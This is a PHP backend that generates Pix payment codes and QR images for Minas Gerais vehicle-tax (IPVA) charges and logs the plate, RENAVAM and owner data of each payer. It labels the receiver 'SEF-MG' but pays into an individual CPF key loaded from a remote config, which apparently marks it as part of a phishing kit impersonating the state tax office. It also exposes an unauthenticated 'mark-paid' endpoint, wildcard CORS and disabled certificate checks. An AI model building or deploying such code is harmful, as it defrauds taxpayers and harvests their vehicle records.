<?php

header('Content-Type: application/json; charset=utf-8');
header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0');
header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Methods: GET, POST, OPTIONS');
header('Access-Control-Allow-Headers: Content-Type');

if ($_SERVER['REQUEST_METHOD'] === 'OPTIONS') {
    exit(0);
}

date_default_timezone_set('America/Sao_Paulo');

try {
    $dbPath = __DIR__ . '/eodf15mk/admin.db';
    $pdo = new PDO('sqlite:' . $dbPath);
    $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
    
    
    $pdo->exec("CREATE TABLE IF NOT EXISTS pix_transactions (
        id INTEGER PRIMARY KEY AUTOINCREMENT,
        transaction_id TEXT UNIQUE,
        renavam TEXT,
        placa TEXT,
        veiculo TEXT,
        proprietario TEXT,
        amount REAL,
        status TEXT DEFAULT 'pending',
        pix_mode TEXT DEFAULT 'manual',
        pix_code TEXT,
        qr_code TEXT,
        created_at DATETIME DEFAULT CURRENT_TIMESTAMP,
        paid_at DATETIME,
        metadata TEXT
    )");
    
} catch (Exception $e) {
    http_response_code(500);
    echo json_encode(['status' => 'error', 'message' => 'Database error: ' . $e->getMessage()]);
    exit;
}

$action = $_GET['action'] ?? 'default';

if ($action === 'stats') {
    try {
        $stats = [
            'total' => 0,
            'pending' => 0,
            'waiting_payment' => 0,
            'paid' => 0,
            'paid_amount' => 0
        ];
        
        
        $stmt = $pdo->query("SELECT COUNT(*) as total FROM pix_transactions");
        $stats['total'] = (int)$stmt->fetch(PDO::FETCH_ASSOC)['total'];
        
        
        $stmt = $pdo->query("SELECT COUNT(*) as count FROM pix_transactions WHERE status IN ('pending', 'waiting_payment')");
        $stats['pending'] = (int)$stmt->fetch(PDO::FETCH_ASSOC)['count'];
        
        
        $stmt = $pdo->query("SELECT COUNT(*) as count, COALESCE(SUM(amount), 0) as amount FROM pix_transactions WHERE status = 'paid'");
        $row = $stmt->fetch(PDO::FETCH_ASSOC);
        $stats['paid'] = (int)$row['count'];
        $stats['paid_amount'] = (float)$row['amount'];
        
        echo json_encode(['status' => 'success', 'data' => $stats]);
        
    } catch (Exception $e) {
        echo json_encode(['status' => 'error', 'message' => $e->getMessage()]);
    }
    exit;
}

if ($action === 'list-local') {
    try {
        $limit = min(50, (int)($_GET['limit'] ?? 15));
        $offset = (int)($_GET['offset'] ?? 0);
        $status = $_GET['status'] ?? '';
        $pixMode = $_GET['pix_mode'] ?? '';
        
        $where = [];
        $params = [];
        
        if ($status) {
            $where[] = "status = :status";
            $params[':status'] = $status;
        }
        
        if ($pixMode) {
            $where[] = "pix_mode = :pix_mode";
            $params[':pix_mode'] = $pixMode;
        }
        
        $whereClause = $where ? 'WHERE ' . implode(' AND ', $where) : '';
        
        $sql = "SELECT * FROM pix_transactions {$whereClause} ORDER BY created_at DESC LIMIT :limit OFFSET :offset";
        
        $stmt = $pdo->prepare($sql);
        foreach ($params as $key => $value) {
            $stmt->bindValue($key, $value);
        }
        $stmt->bindValue(':limit', $limit, PDO::PARAM_INT);
        $stmt->bindValue(':offset', $offset, PDO::PARAM_INT);
        $stmt->execute();
        
        $transactions = $stmt->fetchAll(PDO::FETCH_ASSOC);
        
        
        foreach ($transactions as &$tx) {
            $tx['amount'] = (float)$tx['amount'];
        }
        
        echo json_encode(['status' => 'success', 'data' => $transactions]);
        
    } catch (Exception $e) {
        echo json_encode(['status' => 'error', 'message' => $e->getMessage()]);
    }
    exit;
}

if ($action === 'generate') {
    if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
        http_response_code(405);
        echo json_encode(['status' => 'error', 'message' => 'Method not allowed']);
        exit;
    }
    
    $input = file_get_contents('php://input');
    $data = json_decode($input, true);
    
    if (json_last_error() !== JSON_ERROR_NONE) {
        http_response_code(400);
        echo json_encode(['status' => 'error', 'message' => 'Invalid JSON']);
        exit;
    }
    
    try {
        
        
        require_once __DIR__ . '/client-config.php';
        
        $remotePixConfig = getPixConfig(false);
        
        $pixConfig = [
            'mode' => 'manual',
            'pixKey' => $remotePixConfig['pixKey'] ?? $remotePixConfig['pix_key'] ?? '',
            'pixKeyType' => 'cpf',
            'receiverName' => $remotePixConfig['receiverName'] ?? $remotePixConfig['receiver_name'] ?? 'SEF-MG',
            'receiverCity' => $remotePixConfig['receiverCity'] ?? $remotePixConfig['receiver_city'] ?? 'BELO HORIZONTE',
            'active' => true
        ];
        
        
        if (empty($pixConfig['pixKey'])) {
            $stmt = $pdo->prepare("SELECT value FROM settings WHERE key = 'pix_config'");
            $stmt->execute();
            $row = $stmt->fetch(PDO::FETCH_ASSOC);
            
            if ($row && $row['value']) {
                $decoded = json_decode($row['value'], true);
                if ($decoded && !empty($decoded['pixKey'])) {
                    $pixConfig = array_merge($pixConfig, $decoded);
                }
            }
        }
        
        if (!$pixConfig['active']) {
            echo json_encode(['status' => 'error', 'message' => 'PIX desativado']);
            exit;
        }
        
        
        $renavam = $data['renavam'] ?? '';
        $placa = $data['placa'] ?? '';
        $veiculo = $data['veiculo'] ?? '';
        $proprietario = $data['proprietario'] ?? '';
        $amount = (float)($data['amount'] ?? $data['valor'] ?? 0);
        $descricao = $data['descricao'] ?? "IPVA MG - {$placa}";
        
        if ($amount <= 0) {
            echo json_encode(['status' => 'error', 'message' => 'Valor inválido']);
            exit;
        }
        
        
        $transactionId = 'MG' . date('YmdHis') . bin2hex(random_bytes(4));
        
        $pixCode = '';
        $qrCodeBase64 = '';
        
        
        if ($pixConfig['mode'] === 'manual') {
            $pixCode = generateBRCode(
                $pixConfig['pixKey'],
                $pixConfig['receiverName'],
                $pixConfig['receiverCity'],
                $amount,
                $transactionId
            );
            
            
            $qrCodeBase64 = generateQRCode($pixCode);
        }
        
        else {
            
            $apiResult = callPixAPI($pixConfig, [
                'amount' => $amount,
                'description' => $descricao,
                'external_id' => $transactionId
            ]);
            
            if ($apiResult && isset($apiResult['qr_code'])) {
                $pixCode = $apiResult['qr_code'];
                $qrCodeBase64 = $apiResult['qr_code_base64'] ?? generateQRCode($pixCode);
            } else {
                
                $pixCode = generateBRCode(
                    $pixConfig['pixKey'],
                    $pixConfig['receiverName'],
                    $pixConfig['receiverCity'],
                    $amount,
                    $transactionId
                );
                $qrCodeBase64 = generateQRCode($pixCode);
            }
        }
        
        
        $stmt = $pdo->prepare("INSERT INTO pix_transactions 
            (transaction_id, renavam, placa, veiculo, proprietario, amount, status, pix_mode, pix_code, qr_code, metadata)
            VALUES (:tid, :renavam, :placa, :veiculo, :proprietario, :amount, 'pending', :pix_mode, :pix_code, :qr_code, :metadata)");
        
        $stmt->execute([
            ':tid' => $transactionId,
            ':renavam' => $renavam,
            ':placa' => $placa,
            ':veiculo' => $veiculo,
            ':proprietario' => $proprietario,
            ':amount' => $amount,
            ':pix_mode' => $pixConfig['mode'],
            ':pix_code' => $pixCode,
            ':qr_code' => $qrCodeBase64,
            ':metadata' => json_encode($data)
        ]);
        
        echo json_encode([
            'success' => true,
            'transaction_id' => $transactionId,
            'pix_code' => $pixCode,
            'qr_code' => $qrCodeBase64,
            'amount' => $amount,
            'pix_mode' => $pixConfig['mode']
        ]);
        
    } catch (Exception $e) {
        echo json_encode(['success' => false, 'error' => $e->getMessage()]);
    }
    exit;
}

if ($action === 'check') {
    $transactionId = $_GET['id'] ?? '';
    
    if (!$transactionId) {
        echo json_encode(['status' => 'error', 'message' => 'ID não fornecido']);
        exit;
    }
    
    try {
        $stmt = $pdo->prepare("SELECT * FROM pix_transactions WHERE transaction_id = :tid");
        $stmt->execute([':tid' => $transactionId]);
        $tx = $stmt->fetch(PDO::FETCH_ASSOC);
        
        if (!$tx) {
            echo json_encode(['status' => 'error', 'message' => 'Transação não encontrada']);
            exit;
        }
        
        echo json_encode([
            'status' => 'success',
            'data' => [
                'transaction_id' => $tx['transaction_id'],
                'status' => $tx['status'],
                'amount' => (float)$tx['amount'],
                'paid_at' => $tx['paid_at']
            ]
        ]);
        
    } catch (Exception $e) {
        echo json_encode(['status' => 'error', 'message' => $e->getMessage()]);
    }
    exit;
}

if ($action === 'mark-paid' && $_SERVER['REQUEST_METHOD'] === 'POST') {
    $input = file_get_contents('php://input');
    $data = json_decode($input, true);
    $transactionId = $data['transaction_id'] ?? $_GET['id'] ?? '';
    
    if (!$transactionId) {
        echo json_encode(['status' => 'error', 'message' => 'ID não fornecido']);
        exit;
    }
    
    try {
        $stmt = $pdo->prepare("UPDATE pix_transactions SET status = 'paid', paid_at = CURRENT_TIMESTAMP WHERE transaction_id = :tid");
        $stmt->execute([':tid' => $transactionId]);
        
        echo json_encode(['status' => 'success', 'message' => 'Transação marcada como paga']);
        
    } catch (Exception $e) {
        echo json_encode(['status' => 'error', 'message' => $e->getMessage()]);
    }
    exit;
}

if ($action === 'webhook' && $_SERVER['REQUEST_METHOD'] === 'POST') {
    $input = file_get_contents('php://input');
    $data = json_decode($input, true);
    
    
    file_put_contents(__DIR__ . '/cache/webhook_log.txt', date('Y-m-d H:i:s') . ' - ' . $input . "\n", FILE_APPEND);
    
    $externalId = $data['external_id'] ?? $data['transaction_id'] ?? '';
    $status = $data['status'] ?? '';
    
    if ($externalId && $status === 'paid') {
        try {
            $stmt = $pdo->prepare("UPDATE pix_transactions SET status = 'paid', paid_at = CURRENT_TIMESTAMP WHERE transaction_id = :tid");
            $stmt->execute([':tid' => $externalId]);
            
            echo json_encode(['status' => 'success']);
        } catch (Exception $e) {
            echo json_encode(['status' => 'error', 'message' => $e->getMessage()]);
        }
    } else {
        echo json_encode(['status' => 'received']);
    }
    exit;
}

echo json_encode(['status' => 'error', 'message' => 'Action not found: ' . $action]);

function generateBRCode($pixKey, $receiverName, $receiverCity, $amount, $txId = '') {
    $payload = [];
    
    
    $payload[] = formatEMV('00', '01');
    
    
    $mai = formatEMV('00', 'br.gov.bcb.pix');
    $mai .= formatEMV('01', $pixKey);
    $payload[] = formatEMV('26', $mai);
    
    
    $payload[] = formatEMV('52', '0000');
    
    
    $payload[] = formatEMV('53', '986');
    
    
    if ($amount > 0) {
        $payload[] = formatEMV('54', number_format($amount, 2, '.', ''));
    }
    
    
    $payload[] = formatEMV('58', 'BR');
    
    
    $payload[] = formatEMV('59', strtoupper(substr($receiverName, 0, 25)));
    
    
    $payload[] = formatEMV('60', strtoupper(substr($receiverCity, 0, 15)));
    
    
    if ($txId) {
        $txId = substr(preg_replace('/[^A-Za-z0-9]/', '', $txId), 0, 25);
        $payload[] = formatEMV('62', formatEMV('05', $txId));
    }
    
    
    $payload[] = '6304';
    
    $code = implode('', $payload);
    $crc = strtoupper(dechex(crc16($code)));
    $crc = str_pad($crc, 4, '0', STR_PAD_LEFT);
    
    return $code . $crc;
}

function formatEMV($id, $value) {
    $len = str_pad(strlen($value), 2, '0', STR_PAD_LEFT);
    return $id . $len . $value;
}

function crc16($data) {
    $polynomial = 0x1021;
    $crc = 0xFFFF;
    
    for ($i = 0; $i < strlen($data); $i++) {
        $crc ^= (ord($data[$i]) << 8);
        for ($j = 0; $j < 8; $j++) {
            if ($crc & 0x8000) {
                $crc = (($crc << 1) ^ $polynomial) & 0xFFFF;
            } else {
                $crc = ($crc << 1) & 0xFFFF;
            }
        }
    }
    
    return $crc;
}

function generateQRCode($data) {
    
    $url = 'https://api.qrserver.com/v1/create-qr-code/?size=400x400&format=png&data=' . urlencode($data);

    $ch = curl_init();
    curl_setopt_array($ch, [
        CURLOPT_URL => $url,
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_TIMEOUT => 15,
        CURLOPT_SSL_VERIFYPEER => false,
        CURLOPT_FOLLOWLOCATION => true,
        CURLOPT_USERAGENT => 'Mozilla/5.0'
    ]);

    $image = curl_exec($ch);
    $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);

    if ($image && $httpCode === 200) {
        return 'data:image/png;base64,' . base64_encode($image);
    }

    
    return $url;
}

function callPixAPI($config, $data) {
    if (empty($config['apiUrl']) || empty($config['secretKey'])) {
        return null;
    }
    
    $ch = curl_init();
    curl_setopt_array($ch, [
        CURLOPT_URL => $config['apiUrl'] . '/pix/charge',
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_POST => true,
        CURLOPT_POSTFIELDS => json_encode($data),
        CURLOPT_HTTPHEADER => [
            'Content-Type: application/json',
            'Authorization: Bearer ' . $config['secretKey']
        ],
        CURLOPT_TIMEOUT => 30,
        CURLOPT_SSL_VERIFYPEER => false
    ]);
    
    $response = curl_exec($ch);
    curl_close($ch);
    
    if ($response) {
        return json_decode($response, true);
    }
    
    return null;
}
